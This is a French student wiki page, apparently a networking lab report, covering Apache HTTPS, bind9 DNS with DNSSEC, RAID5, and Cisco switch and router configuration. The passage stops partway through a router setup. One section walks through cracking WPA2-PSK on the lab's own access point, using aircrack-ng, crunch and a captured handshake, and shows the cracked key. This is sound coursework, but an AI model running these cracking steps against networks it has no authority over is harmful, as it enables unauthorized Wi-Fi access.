&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Gestion des certificats &lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée avec openssl &lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
 airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
 airmon-ng start wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
 airodump-ng -c 2 wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
 airodump-ng&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
